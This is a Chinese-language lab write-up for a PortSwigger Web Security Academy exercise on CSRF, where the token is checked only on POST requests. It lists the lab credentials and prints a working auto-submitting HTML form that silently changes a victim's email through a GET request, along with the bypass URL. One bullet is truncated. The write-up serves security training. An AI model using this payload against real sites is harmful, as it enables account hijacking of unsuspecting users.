> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-validation-depends-on-http-method.md).

# 基于 HTTP 方法进行令牌验证的 CSRF

基于 HTTP 方法进行令牌验证的 CSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 令牌验证依赖请求方法时的 CSRF

#### 实验环境

更改电子邮件功能存在 CSRF 攻击漏洞。虽然有防护措施，但它只适用于某些类型的请求。目的：在漏洞利用服务器上托管一个页面，强制受害者更改其电子邮件地址。/ 测试提供的凭据： `wiener:peter`.

#### 结论

* 会检查 CSRF 令牌用于 **POST** 请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 相同操作在 **GET** \*\*n
* 相关点： `/my-account/change-email`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在服务器上托管一个页面，该页面会自动发送一个 **GET** 对更改电子邮件端点的查询：

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

以下 URL 展示了绕过方式（GET 中不需要令牌）

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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```
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